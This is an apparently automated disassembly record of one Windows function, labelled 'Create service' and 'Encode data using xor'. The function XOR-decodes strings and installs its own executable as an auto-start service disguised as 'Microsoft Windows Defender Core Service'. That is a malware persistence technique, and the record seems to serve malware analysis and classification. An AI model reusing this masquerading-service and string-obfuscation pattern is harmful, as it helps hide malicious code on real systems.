Function at 0x140002660
Capabilities:
Create service
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x400]
sub rsp, 0x500
mov rax, qword [0x140043080]
xor rax, rsp
mov qword [rbp + 0x3f0], rax
mov r8d, 0x104
lea rdx, [rbp - 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x1400027b2
movdqa xmm0, xmmword [0x14003dc10]
movdqu xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x80], 0x66627563
mov dword [rbp - 0x7c], 0x757379
movd eax, xmm0
movsx eax, al
movd xmm1, eax
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pshufd xmm1, xmm1, 0
movdqu xmm0, xmmword [rsp + 0x71]
xorps xmm1, xmm0
movdqu xmmword [rsp + 0x71], xmm1
mov ebx, 0x10
nop word [rax + rax]
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rbx + 0x71], al
inc rbx
cmp rbx, 0x16
jb 0x140002700
mov byte [rbp - 0x79], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
lea rax, [rsp + 0x71]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140002731
lea rdx, [rsp + 0x71]
lea rcx, [rbp - 0x70]
call fcn.14000bcc0
lea rbx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova rbx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, rbx
lea rcx, [0x14003d328]
call fcn.140001250
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140002cbc
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002cb7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002cee
jmp 0x140002cb7
mov r14d, 0x7277
mov word [rsp + 0x70], r14w
mov edi, 0x7255
mov ebx, 0x7204
mov r11d, 0x7252
movzx r8d, di
movzx r9d, r14w
movzx r10d, word [0x14003d342]
xor r10w, r14w
movzx edx, word [0x14003d344]
xor dx, r14w
movzx ecx, word [0x14003d346]
xor cx, r14w
movzx eax, word [str.OpenSCManager_failed]
xor ax, r14w
xor di, r14w
mov word [rsp + 0x72], di
xor r11w, r14w
mov word [rsp + 0x74], r11w
xor bx, r14w
mov word [rsp + 0x76], bx
xor r8w, r14w
mov word [rsp + 0x78], r8w
xor r9w, r14w
mov word [rsp + 0x7a], r9w
xor r10w, r14w
mov word [rsp + 0x7c], r10w
xor dx, r14w
mov word [rsp + 0x7e], dx
xor cx, r14w
mov word [rbp - 0x80], cx
xor ax, r14w
mov word [rbp - 0x7e], ax
xor ebx, ebx
mov word [rbp - 0x7c], bx
lea rdx, [rsp + 0x72]
lea rcx, [rbp - 0x50]
call fcn.14000a6b0
nop
lea r8, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova r8, qword [rbp - 0x50]
lea r9, [rbp - 0x30]
mov edx, 0x104
lea rcx, [rbp + 0x1e0]
call fcn.1400012b0
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rdi, rax
test rax, rax
jne 0x140002981
movdqa xmm0, xmmword [0x14003dc30]
mov dword [rbp - 0x80], 0x65666d6a
mov byte [rbp - 0x7c], al
psubb xmm0, xmmword [0x14003dbe0]
movdqu xmmword [rsp + 0x70], xmm0
mov ebx, 0x10
nop
dec byte [rsp + rbx + 0x70]
inc rbx
cmp rbx, 0x14
jb 0x1400028d0
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
lea rax, [rsp + 0x70]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140002900
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x70]
call fcn.14000bcc0
lea rbx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova rbx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, rbx
lea rcx, [0x14003d360]
call fcn.140001250
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140002c80
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ae2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002cf4
jmp 0x140002ae2
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
lea rax, [rbp + 0x1e0]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 3
mov ebx, 0x10
mov dword [rsp + 0x20], ebx
mov r9d, 0xf01ff
lea r8, str.Microsoft_Windows_Defender_Core_Service
lea rdx, [0x14003d3c0]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov rsi, rax
test rax, rax
jne 0x140002aec
movdqa xmm0, xmmword [0x14003dc80]
movdqu xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x80], 0x7f76737b
mov word [rbp - 0x7c], 0x7e
movd eax, xmm0
movsx eax, al
movd xmm1, eax
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pshufd xmm1, xmm1, 0
movdqu xmm0, xmmword [rsp + 0x71]
xorps xmm1, xmm0
movdqu xmmword [rsp + 0x71], xmm1
nop word [rax + rax]
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rbx + 0x71], al
inc rbx
cmp rbx, 0x14
jb 0x140002a30
mov byte [rbp - 0x7b], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
lea rax, [rsp + 0x71]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140002a61
lea rdx, [rsp + 0x71]
lea rcx, [rbp - 0x70]
call fcn.14000bcc0
lea rbx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova rbx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, rbx
lea rcx, str._s___d__n
call fcn.140001250
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140002c80
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ae2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002cfa
call fcn.14000e370
jmp 0x140002c80
movdqa xmm0, xmmword [0x14003dc20]
movdqu xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x14003dbd0]
movdqu xmmword [rbp - 0x80], xmm1
movd edx, xmm0
psrldq xmm0, 1
movd eax, xmm0
xor al, dl
mov byte [rsp + 0x71], al
lea eax, [rdx + 1]
xor byte [rsp + 0x72], al
lea eax, [rdx + 2]
xor byte [rsp + 0x73], al
lea eax, [rdx + 3]
xor byte [rsp + 0x74], al
lea eax, [rdx + 4]
xor byte [rsp + 0x75], al
lea eax, [rdx + 5]
xor byte [rsp + 0x76], al
lea eax, [rdx + 6]
xor byte [rsp + 0x77], al
lea eax, [rdx + 7]
xor byte [rsp + 0x78], al
lea eax, [rdx + 8]
xor byte [rsp + 0x79], al
lea eax, [rdx + 9]
xor byte [rsp + 0x7a], al
lea eax, [rdx + 0xa]
xor byte [rsp + 0x7b], al
lea eax, [rdx + 0xb]
xor byte [rsp + 0x7c], al
lea eax, [rdx + 0xc]
xor byte [rsp + 0x7d], al
lea eax, [rdx + 0xd]
xor byte [rsp + 0x7e], al
lea eax, [rdx + 0xe]
xor byte [rsp + 0x7f], al
lea ecx, [rdx + 0xf]
movd eax, xmm1
xor al, cl
mov byte [rbp - 0x80], al
lea eax, [rdx + 0x10]
xor byte [rbp - 0x7f], al
lea eax, [rdx + 0x11]
xor byte [rbp - 0x7e], al
lea eax, [rdx + 0x12]
xor byte [rbp - 0x7d], al
lea eax, [rdx + 0x13]
xor byte [rbp - 0x7c], al
lea eax, [rdx + 0x14]
xor byte [rbp - 0x7b], al
lea eax, [rdx + 0x15]
xor byte [rbp - 0x7a], al
lea eax, [rdx + 0x16]
xor byte [rbp - 0x79], al
lea eax, [rdx + 0x17]
xor byte [rbp - 0x78], al
lea eax, [rdx + 0x18]
xor byte [rbp - 0x77], al
lea eax, [rdx + 0x19]
xor byte [rbp - 0x76], al
lea eax, [rdx + 0x1a]
xor byte [rbp - 0x75], al
lea eax, [rdx + 0x1b]
xor byte [rbp - 0x74], al
lea eax, [rdx + 0x1c]
xor byte [rbp - 0x73], al
add dl, 0x1d
xor byte [rbp - 0x72], dl
mov byte [rbp - 0x71], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
lea rax, [rsp + 0x71]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140002c00
lea rdx, [rsp + 0x71]
lea rcx, [rbp - 0x70]
call fcn.14000bcc0
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova rdx, qword [rbp - 0x70]
lea rcx, [0x14003d288]
call fcn.140001250
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140002c6d
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c68
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002d00
call fcn.14000e370
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x140002cbc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002cb7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002ce8
call fcn.14000e370
mov rcx, qword [rbp + 0x3f0]
xor rcx, rsp
call fcn.14000e350
lea r11, [rsp + 0x500]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.14001a06c
int3
call fcn.14001a06c
nop
call fcn.14001a06c
nop
call fcn.14001a06c
int3
call fcn.14001a06c
int3